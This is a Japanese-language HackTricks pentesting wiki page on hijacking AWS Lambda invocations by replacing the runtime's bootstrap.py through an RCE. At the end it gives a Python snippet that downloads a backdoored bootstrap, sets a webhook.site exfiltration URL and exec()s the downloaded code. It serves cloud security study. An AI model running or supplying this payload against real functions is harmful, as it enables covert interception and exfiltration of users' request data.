AWS - Steal Lambda Requests

HackTricksをサポートする

Lambdaフロー

  1. Slicerはコンテナ外のプロセスで、initプロセスに呼び出し送信します。

  2. initプロセスはポート9001でリッスンし、いくつかの興味深いエンドポイントを公開しています:

  • /2018-06-01/runtime/invocation/next – 次の呼び出しイベントを取得

  • /2018-06-01/runtime/invocation/{invoke-id}/response – 呼び出しのハンドラー応答を返す

  • /2018-06-01/runtime/invocation/{invoke-id}/error – 実行エラーを返す

  1. bootstrap.pyはinitプロセスから呼び出しを取得するループを持ち、ユーザーのコードを呼び出して処理します(/next)。

  2. 最後に、bootstrap.pyはinitに応答を送信します。

bootstrapはユーザーコードをモジュールとして読み込むため、ユーザーコードによって実行されるコードは実際にはこのプロセス内で発生しています。

Lambdaリクエストの盗難

この攻撃の目的は、ユーザーのコードが脆弱なリクエストを処理する**bootstrap.pyプロセス内で悪意のあるbootstrap.pyプロセスを実行させることです。このようにして、悪意のあるbootstrapプロセスはinitプロセスと通信を開始し、リクエストを処理しますが、正当なbootstrapは悪意のあるものを実行しているため、initプロセスにリクエストを要求しません。

これは、ユーザーのコードが正当な**bootstrap.py**プロセスによって実行されているため、達成するのは簡単な作業です。したがって、攻撃者は次のことができます:

  • 現在の呼び出しの偽の結果をinitプロセスに送信し、initがbootstrapプロセスがさらに呼び出しを待っていると考えさせます。

  • **/${invoke-id}/response**にリクエストを送信する必要があります。

  • invoke-idは、正当な**bootstrap.pyプロセスのスタックからinspect Pythonモジュールを使用して取得することができます(ここで提案されたように)または再度/2018-06-01/runtime/invocation/next**にリクエストすることでも取得できます(ここで提案されたように)。

  • 次の呼び出しを処理する悪意のある**boostrap.py**を実行します。

  • ステルス性の目的で、lambda呼び出しパラメータを攻撃者が制御するC2に送信し、その後リクエストを通常通り処理することが可能です。

  • この攻撃では、システムまたはgithubから**bootstrap.py**の元のコードを取得し、悪意のあるコードを追加して、現在のlambda呼び出しから実行するだけで十分です。

攻撃手順

  1. RCE脆弱性を見つける。

  2. 悪意のあるbootstrapを実行する

これらのアクションは簡単に実行できます:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

For more info check https://github.com/carlospolop/lambda_bootstrap_switcher

参考文献

HackTricksをサポートする

Last updated